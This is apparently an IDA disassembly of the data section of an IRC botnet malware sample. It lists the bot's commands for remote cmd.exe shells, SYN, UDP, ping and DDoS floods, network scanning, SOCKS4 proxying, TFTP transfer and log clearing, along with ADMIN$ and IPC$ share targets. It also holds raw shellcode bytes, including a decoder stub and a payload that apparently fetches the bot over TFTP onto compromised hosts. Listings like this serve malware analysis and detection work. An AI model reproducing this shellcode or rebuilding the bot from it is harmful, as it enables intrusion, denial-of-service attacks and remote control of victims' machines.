aGetclip db 'getclip',0 ; DATA XREF: sub_409557+1304o
aMainLoginListC db '[MAIN]: Login list complete.',0 ; DATA XREF: sub_409557+12F3o
align 10h
; char aD_S[]
aD_S db '%d. %s',0 ; DATA XREF: sub_409557+12BFo
; sub_411CF7+46o
align 4
aEmpty db '<Empty>',0 ; DATA XREF: sub_409557+12B2o
aLoginList db '-[Login List]-',0 ; DATA XREF: sub_409557+1290o
align 10h
; char aWho[]
aWho db 'who',0 ; DATA XREF: sub_409557+1277o
aCmd db '[CMD]',0 ; DATA XREF: sub_409557+126Co
align 4
aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_409557+1267o
align 4
; char aCmdstop[]
aCmdstop db 'cmdstop',0 ; DATA XREF: sub_409557+124Eo
; char aOcmd[]
aOcmd db 'ocmd',0 ; DATA XREF: sub_409557+1239o
align 4
; char aOpencmd[]
aOpencmd db 'opencmd',0 ; DATA XREF: sub_409557+1224o
; char aDll[]
aDll db 'dll',0 ; DATA XREF: sub_409557+120Fo
; char aTestdlls[]
aTestdlls db 'testdlls',0 ; DATA XREF: sub_409557+11FAo
align 4
; char aDrv[]
aDrv db 'drv',0 ; DATA XREF: sub_409557+11E5o
; char aDriveinfo[]
aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_409557+11D0o
align 4
; char aUp[]
aUp db 'up',0 ; DATA XREF: sub_409557+11BBo
align 4
; char aUptime[]
aUptime db 'uptime',0 ; DATA XREF: sub_409557+11A6o
align 10h
; char aPs[]
aPs db 'ps',0 ; DATA XREF: sub_409557+1191o
align 4
; char aProcs[]
aProcs db 'procs',0 ; DATA XREF: sub_409557+117Co
align 4
; char aRemov10e2[]
aRemov10e2 db 'remov10e2',0 ; DATA XREF: sub_409557+1167o
align 4
; char aRemov10e[]
aRemov10e db 'remov10e',0 ; DATA XREF: sub_409557+1152o
align 4
; char aSi[]
aSi db 'si',0 ; DATA XREF: sub_409557+113Do
align 4
; char aSysinfo[]
aSysinfo db 'sysinfo',0 ; DATA XREF: sub_409557+1128o
; char aNi[]
aNi db 'ni',0 ; DATA XREF: sub_409557+1113o
align 4
; char aNetinfo[]
aNetinfo db 'netinfo',0 ; DATA XREF: sub_409557+10FEo
; char aClg[]
aClg db 'clg',0 ; DATA XREF: sub_409557+10E9o
; char aClearlog[]
aClearlog db 'clearlog',0 ; DATA XREF: sub_409557+10D4o
align 4
; char aLg[]
aLg db 'lg',0 ; DATA XREF: sub_409557+10BFo
align 10h
; char aLog_0[]
aLog_0 db 'log',0 ; DATA XREF: sub_409557+10AAo
; char aAl[]
aAl db 'al',0 ; DATA XREF: sub_409557+1095o
align 4
; char aAliases[]
aAliases db 'aliases',0 ; DATA XREF: sub_409557+1080o
; char aT[]
aT: ; DATA XREF: sub_409557+106Bo
unicode 0, <t>,0
; char aThreads[]
aThreads db 'threads',0 ; DATA XREF: sub_409557+1056o
aMainFailedToRe db '[MAIN]: Failed to reboot system.',0 ; DATA XREF: sub_409557+1022o
align 10h
; char aMainRebootingS[]
aMainRebootingS db '[MAIN]: Rebooting system.',0 ; DATA XREF: sub_409557+101Bo
align 4
; char aReboot[]
aReboot db 'reboot',0 ; DATA XREF: sub_409557+1004o
align 4
; char aI_0[]
aI_0: ; DATA XREF: sub_409557+FEFo
unicode 0, <i>,0
; char aId[]
aId db 'id',0 ; DATA XREF: sub_409557+FDAo
align 4
; char aS_7[]
aS_7: ; DATA XREF: sub_409557+FC5o
unicode 0, <s>,0
; char aStatus[]
aStatus db 'status',0 ; DATA XREF: sub_409557+FB0o
align 4
; char aQ[]
aQ: ; DATA XREF: sub_409557+F9Bo
unicode 0, <q>,0
; char aQuit_0[]
aQuit_0 db 'quit',0 ; DATA XREF: sub_409557+F86o
align 4
; char aDc[]
aDc db 'dc',0 ; DATA XREF: sub_409557+F71o
align 4
; char aDisconnect[]
aDisconnect db 'disconnect',0 ; DATA XREF: sub_409557+F5Co
align 4
; char aR[]
aR: ; DATA XREF: sub_409557+F47o
; sub_409557+1506o ...
unicode 0, <r>,0
; char aReconnect[]
aReconnect db 'reconnect',0 ; DATA XREF: sub_409557+F32o
align 4
; char aStats[]
aStats db 'stats',0 ; DATA XREF: sub_409557+F1Do
align 4
; char aScanstats[]
aScanstats db 'scanstats',0 ; DATA XREF: sub_409557+F08o
align 4
aScan_0 db '[SCAN]',0 ; DATA XREF: sub_409557+EFDo
align 10h
aScan db 'Scan',0 ; DATA XREF: sub_409557+EF8o
align 4
; char aScanstop[]
aScanstop db 'scanstop',0 ; DATA XREF: sub_409557+EDFo
align 4
aSecure_0 db '[SECURE]',0 ; DATA XREF: sub_409557+ED4o
align 10h
aSecure db 'Secure',0 ; DATA XREF: sub_409557+ECFo
align 4
; char aSecurestop[]
aSecurestop db 'securestop',0 ; DATA XREF: sub_409557+EB6o
align 4
aClones db '[CLONES]',0 ; DATA XREF: sub_409557+EABo
align 10h
aClone db 'Clone',0 ; DATA XREF: sub_409557+EA6o
align 4
; char aClonestop[]
aClonestop db 'clonestop',0 ; DATA XREF: sub_409557+E8Do
align 4
; char aPsstop[]
aPsstop db 'psstop',0 ; DATA XREF: sub_409557+E78o
align 4
; char aProcsstop[]
aProcsstop db 'procsstop',0 ; DATA XREF: sub_409557+E63o
align 4
aTftp db '[TFTP]',0 ; DATA XREF: sub_409557+E58o
align 10h
; char aTftpstop[]
aTftpstop db 'tftpstop',0 ; DATA XREF: sub_409557+E3Ao
align 4
aPing_0 db '[PING]',0 ; DATA XREF: sub_409557+E2Fo
align 4
aPingFlood db 'Ping flood',0 ; DATA XREF: sub_409557+E2Ao
align 10h
; char aPingstop[]
aPingstop db 'pingstop',0 ; DATA XREF: sub_409557+E11o
align 4
aUpd db '[UPD]',0 ; DATA XREF: sub_409557+E06o
align 4
aUdpFlood db 'UDP flood',0 ; DATA XREF: sub_409557+E01o
align 10h
; char aUdpstop[]
aUdpstop db 'udpstop',0 ; DATA XREF: sub_409557+DE8o
aSyn db '[SYN]',0 ; DATA XREF: sub_409557+DDDo
align 10h
aSynFlood db 'Syn flood',0 ; DATA XREF: sub_409557+DD8o
align 4
; char aSynstop[]
aSynstop db 'synstop',0 ; DATA XREF: sub_409557+DBFo
aDdos db '[DDoS]',0 ; DATA XREF: sub_409557+DB4o
align 4
aDdosFlood db 'DDoS flood',0 ; DATA XREF: sub_409557+DAFo
align 4
; char aDdos_stop[]
aDdos_stop db 'ddos.stop',0 ; DATA XREF: sub_409557+D96o
align 4
aRedirect db '[REDIRECT]',0 ; DATA XREF: sub_409557+D8Bo
align 10h
aTcpRedirect db 'TCP redirect',0 ; DATA XREF: sub_409557+D86o
align 10h
; char aRedirectstop[]
aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_409557+D6Do
align 10h
aLog db '[LOG]',0 ; DATA XREF: sub_409557+D62o
align 4
aLogList db 'Log list',0 ; DATA XREF: sub_409557+D5Do
align 4
; char aLogstop[]
aLogstop db 'logstop',0 ; DATA XREF: sub_409557+D44o
aHttpd db '[HTTPD]',0 ; DATA XREF: sub_409557+D39o
; char aHttpstop[]
aHttpstop db 'httpstop',0 ; DATA XREF: sub_409557+D1Bo
align 10h
aRlogind db '[RLOGIND]',0 ; DATA XREF: sub_409557+D10o
align 4
; char aRloginstop[]
aRloginstop db 'rloginstop',0 ; DATA XREF: sub_409557+CF2o
align 4
aSocks4_0 db '[SOCKS4]',0 ; DATA XREF: sub_409557+CE7o
align 4
aServer_0 db 'Server',0 ; DATA XREF: sub_409557+CE2o
; sub_409557+D0Bo ...
align 4
; char aSocks4stop[]
aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_409557+CC9o
align 4
; char aS4[]
aS4 db 's4',0 ; DATA XREF: sub_409557+CB4o
align 4
; char aSocks4[]
aSocks4 db 'socks4',0 ; DATA XREF: sub_409557+C9Fo
align 4
; char aVer[]
aVer db 'ver',0 ; DATA XREF: sub_409557+C8Ao
; char aVersion[]
aVersion db 'version',0 ; DATA XREF: sub_409557+C75o
; char aLo[]
aLo db 'lo',0 ; DATA XREF: sub_409557+C60o
align 4
; char aLogout[]
aLogout db 'logout',0 ; DATA XREF: sub_409557+C4Bo
align 4
; char aD_0[]
aD_0: ; DATA XREF: sub_409557+C36o
unicode 0, <d>,0
; char aDie[]
aDie db 'die',0 ; DATA XREF: sub_409557+C21o
; char aRn[]
aRn db 'rn',0 ; DATA XREF: sub_409557+C0Co
align 4
; char aRndnick_0[]
aRndnick_0 db 'rndnick',0 ; DATA XREF: sub_409557+BF4o
; char a63[]
a63 db '63',0 ; DATA XREF: sub_409557+ACDo
align 4
; char asc_4271E4[]
asc_4271E4: ; DATA XREF: sub_409557+AA5o
unicode 0, <)>,0
; char aChr[]
aChr db '$chr(',0 ; DATA XREF: sub_409557+A68o
align 10h
; char aServer[]
aServer db '$server',0 ; DATA XREF: sub_409557+A5Do
; char aRndnick[]
aRndnick db '$rndnick',0 ; DATA XREF: sub_409557+A4Co
align 4
; char aChan[]
aChan db '$chan',0 ; DATA XREF: sub_409557+A30o
align 4
; char aUser_1[]
aUser_1 db '$user',0 ; DATA XREF: sub_409557+A1Fo
align 4
; char aMe[]
aMe db '$me',0 ; DATA XREF: sub_409557+A0Do
; char aD_1[]
aD_1 db '$%d',0 ; DATA XREF: sub_409557+99Fo
; char aD[]
aD db '$%d-',0 ; DATA XREF: sub_409557+8E4o
align 4
dword_427224 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: sub_409557+879o
dd 0A0Dh
; char dword_42723C
dword_42723C dd 4E495001h, 47h ; DATA XREF: sub_409557+845o
dword_427244 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: sub_409557+83Ao
dd 0D017325h, 0Ah
; char dword_427260
dword_427260 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_409557+809o
; char asc_42726C[]
asc_42726C db '#',0 ; DATA XREF: sub_409557+780o
align 10h
; char aFr[]
aFr db 'Fr',0 ; DATA XREF: sub_409557+6D9o
align 4
; char aHi[]
aHi db 'hi',0 ; DATA XREF: sub_409557+6C4o
align 4
; char a332[]
a332 db '332',0 ; DATA XREF: sub_409557+635o
; sub_409557+6FBo ...
; char aMainUserSLog_0[]
aMainUserSLog_0 db '[MAIN]: User: %s logged out.',0 ; DATA XREF: sub_409557+5B6o
align 4
aMainJoinedChan db '[MAIN]: Joined channel: %s.',0 ; DATA XREF: sub_409557+596o
; char a353[]
a353 db '353',0 ; DATA XREF: sub_409557+55Fo
; char aPart[]
aPart db 'PART',0 ; DATA XREF: sub_409557+511o
; sub_409557+5D3o
align 4
; char aSS_3[]
aSS_3 db ':%s%s',0 ; DATA XREF: sub_409557+4E9o
align 4
; char aNick[]
aNick db 'NICK',0 ; DATA XREF: sub_409557+3CBo
align 4
; char aNoticeSS[]
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409557+36Eo
; sub_409557+5F7o
; char aMainUserSLogge[]
aMainUserSLogge db '[MAIN]: User %s logged out.',0 ; DATA XREF: sub_409557+355o
; sub_409557+519Do ...
; char aKick[]
aKick db 'KICK',0 ; DATA XREF: sub_409557+2E4o
align 4
; char aNickS[]
aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_409557+28Do
; sub_409557+4225o ...
align 4
; char a433[]
a433 db '433',0 ; DATA XREF: sub_409557+265o
; char a[]
a@: ; DATA XREF: sub_409557+23Ao
unicode 0, <@>,0
; char a302[]
a302 db '302',0 ; DATA XREF: sub_409557+22Ao
; char a005[]
a005 db '005',0 ; DATA XREF: sub_409557+215o
; char a001[]
a001 db '001',0 ; DATA XREF: sub_409557+200o
; char aJoinSS[]
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_409557+1E4o
; sub_409557+3B8o ...
align 4
; char aPongS[]
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_409557+1C3o
align 4
; char aPing[]
aPing db 'PING',0 ; DATA XREF: sub_409557+1A9o
align 4
; char asc_42734C[]
asc_42734C: ; DATA XREF: sub_409557+19Ao
; sub_409557+52A8o
unicode 0, <!>,0
; char asc_427350[]
asc_427350 db ' :',0 ; DATA XREF: sub_409557+86o
; sub_409557:loc_409DDAo
align 4
; char aRedirectFail_0[]
aRedirectFail_0 db '[REDIRECT]: Failed to start client thread, error: <%d>.',0
; DATA XREF: sub_40E9B2+156o
; char aRedirectClient[]
aRedirectClient db '[REDIRECT]: Client connection from IP: %s:%d, Server thread: %d.',0
; DATA XREF: sub_40E9B2+E1o
align 10h
; char aRedirectFail_1[]
aRedirectFail_1 db '[REDIRECT]: Failed to start connection thread, error: <%d>.',0
; DATA XREF: sub_40EB3A+1AAo
; char aRedirectClie_0[]
aRedirectClie_0 db '[REDIRECT]: Client connection to IP: %s:%d, Server thread: %d.',0
; DATA XREF: sub_40EB3A+E1o
align 4
; char aPrivmsgSS[]
aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40EE26+33o
aCmdCouldNotR_0 db '[CMD]: Could not read data from proccess.',0Dh,0Ah,0
; DATA XREF: sub_40EEAD:loc_40EFDFo
aCmdProccessHas db '[CMD]: Proccess has terminated.',0Dh,0Ah,0 ; DATA XREF: sub_40EEAD+10Fo
align 4
aCmdCouldNotRea db '[CMD]: Could not read data from proccess',0Dh,0Ah,0
; DATA XREF: sub_40EEAD:loc_40EF93o
align 4
; char aCmdFailedToSta[]
aCmdFailedToSta db '[CMD]: Failed to start IO thread, error: <%d>.',0
; DATA XREF: sub_40F002+194o
align 4
; char aCmdRemoteComma[]
aCmdRemoteComma db '[CMD]: Remote Command Prompt',0 ; DATA XREF: sub_40F002+14Co
align 4
aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40F002+21o
; char aRlogindUserL_0[]
aRlogindUserL_0 db '[RLOGIND]: User logged out: <%s@%s>.',0 ; DATA XREF: sub_40F1B7+1E9o
align 4
; char aRlogindErrorSe[]
aRlogindErrorSe db '[RLOGIND]: Error: SessionRun(): <%d>.',0 ; DATA XREF: sub_40F1B7+1C2o
align 10h
; char aRlogindUserLog[]
aRlogindUserLog db '[RLOGIND]: User logged in: <%s@%s>.',0 ; DATA XREF: sub_40F1B7+1A2o
aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: sub_40F1B7+172o
align 4
; char aRlogindErrorGe[]
aRlogindErrorGe db '[RLOGIND]: Error: getpeername(): <%d>.',0 ; DATA XREF: sub_40F1B7+E1o
align 10h
; char aRlogindProtoco[]
aRlogindProtoco db '[RLOGIND]: Protocol string too long.',0
; DATA XREF: sub_40F3BC:loc_40F401o
align 4
; char aRlogindLoginRe[]
aRlogindLoginRe db '[RLOGIND]: Login rejected, Remote user: <%s@%s>.',0
; DATA XREF: sub_40F416+1Bo
align 4
; char aRlogindError_0[]
aRlogindError_0 db '[RLOGIND]: Error: server failed, returned: <%d>.',0
; DATA XREF: sub_40F445+219o
align 10h
; char aRlogindFaile_1[]
aRlogindFaile_1 db '[RLOGIND]: Failed to start client thread, error: <%d>.',0
; DATA XREF: sub_40F445+1FBo
align 4
; char aRlogindClientC[]
aRlogindClientC db '[RLOGIND]: Client connection from IP: %s:%d, Server thread: %d.',0
; DATA XREF: sub_40F445+177o
aRlogindReadyAn db '[RLOGIND]: Ready and waiting for incoming connections.',0
; DATA XREF: sub_40F445+106o
align 10h
; char aRlogindFaile_0[]
aRlogindFaile_0 db '[RLOGIND]: Failed to install control-C handler, error: <%d>.',0
; DATA XREF: sub_40F445+70o
align 10h
; char aRlogindErrorWs[]
aRlogindErrorWs db '[RLOGIND]: Error: WSAStartup(): <%d>.',0 ; DATA XREF: sub_40F445+3Do
align 4
aConst db 'const',0
align 10h
dd 0
dword_427794 dd 1 ; DATA XREF: sub_40FA38+7o
off_427798 dd offset sub_40F6CD ; DATA XREF: sub_40FA38+49r
aLetter db 'letter',0
align 8
dd 2, 40F72Bh, 706D6F63h, 2 dup(0)
dd 3, 40F778h, 6E756F63h, 797274h, 0
dd 4, 40F816h, 736Fh, 2 dup(0)
dd 5, 40F88Bh
; char aSI[]
aSI db '%s%i',0 ; DATA XREF: sub_40F6CD+40o
; .text:0040F7F7o ...
align 4
byte_4277F4 db 50h ; DATA XREF: .text:0040F79Ao
; .text:0040F7A7r
db 43h, 2 dup(0)
dword_4277F8 dd 7C7325h ; DATA XREF: .text:0040F845o
; sub_40FA38+39o
aS_5 db '[%s]|',0 ; DATA XREF: .text:0040F94Fo
align 4
a??? db '???',0 ; DATA XREF: .text:loc_40F946o
; sub_410E85:loc_410F48o
a2k3 db '2K3',0 ; DATA XREF: .text:0040F93Fo
aXp db 'XP',0 ; DATA XREF: .text:0040F931o
; sub_410E85+AAo
align 10h
a2k db '2K',0 ; DATA XREF: .text:0040F921o
; sub_410E85+98o
align 4
aMe_0 db 'ME',0 ; DATA XREF: .text:0040F908o
; sub_410E85+7Eo
align 4
a98 db '98',0 ; DATA XREF: .text:0040F8F8o
; sub_410E85+6Co
align 4
aNt db 'NT',0 ; DATA XREF: .text:0040F8E8o
; sub_410E85+5Ao
align 10h
a95 db '95',0 ; DATA XREF: .text:0040F8DAo
; sub_410E85+46o
align 4
; char aDS[]
aDS db '[%d]%s',0 ; DATA XREF: sub_40F995+3Ao
align 4
; char aM[]
aM db '[M]',0 ; DATA XREF: sub_40F995+2Co
; sub_40F995+57o
; char aScanIpSPortD_0[]
aScanIpSPortD_0 db '[SCAN]: IP: %s Port: %d is open.',0 ; DATA XREF: sub_40FAA1+92o
align 4
; char aScanScanningIp[]
aScanScanningIp db '[SCAN]: Scanning IP: %s, Port: %d.',0 ; DATA XREF: sub_40FB6E+41o
align 4
dd offset aIpc_0 ; "IPC$"
align 10h
dd offset aAdmin_0 ; "ADMIN$"
align 8
dd offset dword_4278A4
dd offset dword_4278A0
dd offset dword_42789C
dd offset dword_427898
dword_427898 dd 5C3A44h ; DATA XREF: .data:00427894o
dword_42789C dd 2444h ; DATA XREF: .data:00427890o
dword_4278A0 dd 5C3A43h ; DATA XREF: .data:0042788Co
dword_4278A4 dd 2443h ; DATA XREF: .data:00427888o
aAdmin_0 db 'ADMIN$',0 ; DATA XREF: .data:00427880o
align 10h
aIpc_0 db 'IPC$',0 ; DATA XREF: .data:00427878o
align 4
; char aRlogindWaitfor[]
aRlogindWaitfor db '[RLOGIND]: WaitForMultipleObjects error: <%d>.',0
; DATA XREF: sub_40FC5F+DEo
align 4
; char aRlogindFaile_2[]
aRlogindFaile_2 db '[RLOGIND]: Failed to create ReadShell session thread, error: <%d>'
; DATA XREF: sub_40FC5F+59o
; sub_40FC5F+8Bo
db '.',0
align 4
aRlogindFaile_5 db '[RLOGIND]: Failed to execute shell.',0 ; DATA XREF: sub_40FDB0+AFo
; char aRlogindFaile_4[]
aRlogindFaile_4 db '[RLOGIND]: Failed to create shell stdin pipe, error: <%d>.',0
; DATA XREF: sub_40FDB0+7Eo
align 4
aRlogindFaile_3 db '[RLOGIND]: Failed to create shell stdout pipe, error: <%d>.',0
; DATA XREF: sub_40FDB0+5Co
; char aRlogindFaile_6[]
aRlogindFaile_6 db '[RLOGIND]: Failed to execute shell, error: <%d>.',0
; DATA XREF: sub_40FEA9+C3o
align 4
aCmdQ db 'cmd /q',0 ; DATA XREF: sub_40FEA9+8Co
align 4
; char aRlogindSession[]
aRlogindSession db '[RLOGIND]: SessionReadShellThread exited, error: <%ld>.',0
; DATA XREF: sub_40FF82+A1o
dword_427A3C dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_4102EE+C4o
db 66h, 0B9h
word_427A4A dw 0FFFFh ; DATA XREF: sub_4102EE+CCw
db 80h, 73h, 0Eh
byte_427A4F db 0FFh ; DATA XREF: sub_4102EE+D3w
dd 0F9E243h
dword_427A54 dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_4102EE+A2o
db 0B1h
byte_427A61 db 0FFh ; DATA XREF: sub_4102EE+AAw
dw 7380h
db 0Ch
byte_427A65 db 0FFh ; DATA XREF: sub_4102EE+B0w
dw 0E243h
dd 0F9h
dword_427A6C dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
; DATA XREF: sub_410177+57o
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_427AD0 dd 12h ; DATA XREF: sub_410177+3Dw
dd 70746674h, 6578652Eh, 20692D20h
aGet_0 db ' get ',0 ; DATA XREF: sub_410177+79o
; sub_410177+9Bo
aJ_1 db 'j',0
db 0E8h
dword_427AE9 dd 17h ; DATA XREF: sub_410177+4Dw
db 75h, 1, 0C3h
db 0E8h
dword_427AF1 dd 1 ; DATA XREF: sub_410177+45w
byte_427AF5 db 0, 6Ah, 0 ; DATA XREF: sub_410177+C2o
dd 7E8h
db 0, 0Fh, 84h
dword_427AFF dd 0FFFFFFEDh ; DATA XREF: sub_410177+5Dw
db 0C3h
dd 505D5B58h, 3354EC83h, 8DFC8BC0h, 0D78B4048h, 44B0AAF3h
dd 515257ABh, 6A286A51h, 55515101h, 83D6FF53h, 0C08554C4h
dd 0C3h
; char aSocks4Failed_1[]
aSocks4Failed_1 db '[SOCKS4]: Failed to start server on Port %d.',0
; DATA XREF: sub_4103F5+1B2o
align 10h
; char aSocks4Failed_0[]
aSocks4Failed_0 db '[SOCKS4]: Failed to start client thread, error: <%d>.',0
; DATA XREF: sub_4103F5+18Fo
align 4
; char aSocks4ClientCo[]
aSocks4ClientCo db '[SOCKS4]: Client connection from IP: %s:%d, Server thread: %d.',0
; DATA XREF: sub_4103F5+114o
align 4
; char aSocks4ErrorF_0[]
aSocks4ErrorF_0 db '[SOCKS4]: Error: Failed to connect to target, returned: <%d>.',0
; DATA XREF: sub_4105FA+1F9o
align 4
; char aSocks4ErrorFai[]
aSocks4ErrorFai db '[SOCKS4]: Error: Failed to open socket(), returned: <%d>.',0
; DATA XREF: sub_4105FA+18Ao
align 4
; char aSocks4Authenti[]
aSocks4Authenti db '[SOCKS4]: Authentication failed. Remote userid: %s != %s.',0
; DATA XREF: sub_4105FA+F2o
align 10h
; char aSynDoneWithFlo[]
aSynDoneWithFlo db '[SYN]: Done with flood (%iKB/sec).',0 ; DATA XREF: sub_4109BE+48o
align 4
; char aSynSendErrorD_[]
aSynSendErrorD_ db '[SYN]: Send error: <%d>.',0 ; DATA XREF: sub_410A5A+27Do
align 10h
; char aDdDhDm[]
aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_410D66+52o
; char aSysinfoCpuI64u[]
aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
; DATA XREF: sub_410E85+297o
db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
db ' %s. [Uptime]: %s.',0
align 4
aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_410E85+192o
; char aCouldnTResolve[]
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_410E85:loc_410FE9o
align 4
; char aSS_5[]
aSS_5 db '%s (%s)',0 ; DATA XREF: sub_410E85+EBo
; char aNetinfoTypeSS_[]
aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
; DATA XREF: sub_411139+ABo
align 10h
; char off_427E20[]
off_427E20 dd offset loc_412F4E ; DATA XREF: sub_411139:loc_4111ADo
dword_427E24 dd 4E414Ch ; DATA XREF: sub_411139:loc_4111A6o
; char aDialUp[]
aDialUp db 'Dial-up',0 ; DATA XREF: sub_411139+5Bo
; char aNotConnected[]
aNotConnected db 'Not connected',0 ; DATA XREF: sub_411139+48o
align 10h
; char aTcpDoneWithSFl[]
aTcpDoneWithSFl db '[TCP]: Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/se'
; DATA XREF: sub_4111FF+4EBo
db 'c (%dMB).',0
align 4
; char aTcpErrorSendin[]
aTcpErrorSendin db '[TCP]: Error sending packets to IP: %s. Packets sent: %d. Returne'
; DATA XREF: sub_4111FF+44Fo
db 'd: <%d>.',0
align 4
; char aTcpInvalidTarg[]
aTcpInvalidTarg db '[TCP]: Invalid target IP.',0 ; DATA XREF: sub_4111FF+15Fo
align 4
; char aTcpErrorSetsoc[]
aTcpErrorSetsoc db '[TCP]: Error: setsockopt() failed, returned: <%d>.',0
; DATA XREF: sub_4111FF+EEo
align 4
; char aTcpErrorSocket[]
aTcpErrorSocket db '[TCP]: Error: socket() failed, returned: <%d>.',0
; DATA XREF: sub_4111FF+70o
align 4
dword_427F58 dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_411743+493o
aTftpFileTran_1 db '[TFTP]: File transfer complete to IP: %s (%s).',0
; DATA XREF: sub_411743+47Fo
align 4
; char aTftpFileNotFou[]
aTftpFileNotFou db '[TFTP]: File not found: %s (%s).',0 ; DATA XREF: sub_411743+3B6o
align 4
dword_427FB8 dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh
; DATA XREF: sub_411743+399o
; char aTftpFileTran_0[]
aTftpFileTran_0 db '[TFTP]: File transfer started to IP: %s (%s).',0
; DATA XREF: sub_411743+33Eo
align 4
; char aTftpFailedToOp[]
aTftpFailedToOp db '[TFTP]: Failed to open file: %s.',0 ; DATA XREF: sub_411743+15Ao
align 10h
; char aTftpErrorSocke[]
aTftpErrorSocke db '[TFTP]: Error: socket() failed, returned: <%d>.',0
; DATA XREF: sub_411743+6Ao
aOctet db 'octet',0 ; DATA XREF: sub_411743+Fo
align 4
aThreadList db '-[Thread List]-',0 ; DATA XREF: sub_411CF7+10o
; char aSNoSThreadFoun[]
aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_411EC8+51o
; char aSSStopped_DThr[]
aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_411EC8+35o
align 10h
dword_4280B0 dd 817CD174h ; DATA XREF: sub_41274C+4w _randr ...
align 10h
dd 9875h, 9873h
off_4280C8 dd offset __fpmath ; DATA XREF: __cinitr
dd offset nullsub_1
dd offset nullsub_1
align 10h
off_4280E0 dd offset __exit ; DATA XREF: __amsg_exit+1Cr
dword_4280E4 dd 2 ; DATA XREF: __FF_MSGBANNER+Er
; __NMSG_WRITE+46r ...
dd 10h
dword_4280EC dd 3F8h ; DATA XREF: __heap_alloc+5r
; _realloc+4Dr ...
off_4280F0 dd offset aNull ; DATA XREF: __output:loc_414E32r
; __output+457r
; "(null)"
off_4280F4 dd offset aNull_0 ; DATA XREF: __output+259r
; "(null)"
asc_4280F8 db ' ',9,'-',0Dh,']',0 ; DATA XREF: __input:loc_41583Fo
align 10h
asc_428100: ; DATA XREF: __input:loc_41572Fo
unicode 0, <]>,0
off_428104 dd offset __wctype+2 ; DATA XREF: _atol+23r
; _atol:loc_412B55r ...
dd offset __wctype+2
public __wctype
; const unsigned __int16 _wctype[]
__wctype dd 200000h ; DATA XREF: _x_ismbbtype+18r
; .data:off_428104o ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
; size_t SrcSizeInBytes
SrcSizeInBytes dd 1 ; DATA XREF: _atol:loc_412AFCr
; _atol:loc_412B40r ...
byte_428314 db 2Eh ; DATA XREF: __input:loc_4155CCr
; __input+311r ...
align 4
dd 1
off_42831C dd offset __cfltcvt ; DATA XREF: __cfltcvt_init+Fw
; __output+3AAr
off_428320 dd offset __cropzeros ; DATA XREF: __cfltcvt_init+5w
; __output+3E2r
off_428324 dd offset __fassign ; DATA XREF: __cfltcvt_init+14w
; __input+430r
off_428328 dd offset __forcdecpt ; DATA XREF: __cfltcvt_init+1Ew
; __output+3CBr
off_42832C dd offset __positive ; DATA XREF: __cfltcvt_init+28w
off_428330 dd offset __cfltcvt ; DATA XREF: __cfltcvt_init+32w
align 8
dword_428338 dd 1 ; DATA XREF: __dosmaperr+Co
dword_42833C dd 16h ; DATA XREF: __dosmaperr:loc_416989r
dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
byte_4284A0 db 1 ; DATA XREF: __dosmaperr+19o
; __setmbcp+E1r
db 2, 4, 8
align 8
dword_4284A8 dd 3A4h ; DATA XREF: __setmbcp+2Fo
dword_4284AC dd 82798260h ; DATA XREF: __setmbcp+11Dr
dd 21h, 0
